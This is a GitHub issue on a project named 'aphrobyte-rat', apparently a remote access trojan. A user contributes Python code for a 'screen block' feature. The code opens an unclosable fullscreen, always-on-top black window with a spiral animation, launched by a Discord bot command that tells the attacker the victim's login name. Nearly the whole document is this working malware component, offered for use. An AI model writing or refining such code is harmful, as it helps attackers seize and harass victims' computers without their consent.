aphrobyte-rat icon indicating copy to clipboard operation
aphrobyte-rat copied to clipboard

Blockscreen but better?

Open ghost opened this issue 10 months ago • 0 comments

def screenblock():
    global canvas, center_x, center_y, t, points, rotation_offset

    box = tk.Tk()
    box.attributes('-fullscreen', True)
    box.attributes('-topmost', True)
    box.configure(background='black')
    box.protocol("WM_DELETE_WINDOW", lambda: None)
    box.overrideredirect(True)

    canvas = tk.Canvas(box, width=box.winfo_screenwidth(), height=box.winfo_screenheight(), bg='black', bd=0, highlightthickness=0)
    canvas.pack()

    center_x = box.winfo_screenwidth() / 2
    center_y = box.winfo_screenheight() / 2

    t = 0
    points = []
    rotation_offset = 0  

    def animate():
        global t, rotation_offset, points
        t += 50
        angle = math.radians(t)
        radius = 1 + 0.05 * t

        new_x = center_x + radius * math.cos(angle)
        new_y = center_y + radius * math.sin(angle)
        points.append((new_x, new_y))
        
        rotation_offset += 0.01
        canvas.delete("all")
        
        rotated_points = []
        for x, y in points:
            rel_x = x - center_x
            rel_y = y - center_y
            rot_x = rel_x * math.cos(rotation_offset) - rel_y * math.sin(rotation_offset)
            rot_y = rel_x * math.sin(rotation_offset) + rel_y * math.cos(rotation_offset)
            final_x = center_x + rot_x
            final_y = center_y + rot_y
            rotated_points.append((final_x, final_y))
        
        for i in range(1, len(rotated_points)):
            x0, y0 = rotated_points[i-1]
            x1, y1 = rotated_points[i]
            canvas.create_line(x0, y0, x1, y1, fill="white", width=2)  

        canvas.after(10, animate)

    animate()
    box.mainloop()

@client.command()
async def blockscreen(ctx, *, usid):
    if usid == clientid:
        threading.Thread(target=screenblock, daemon=True).start()
        await ctx.send(f"**{os.getlogin()}**'s screen has been blocked :3")

ghost avatar Feb 01 '25 22:02 ghost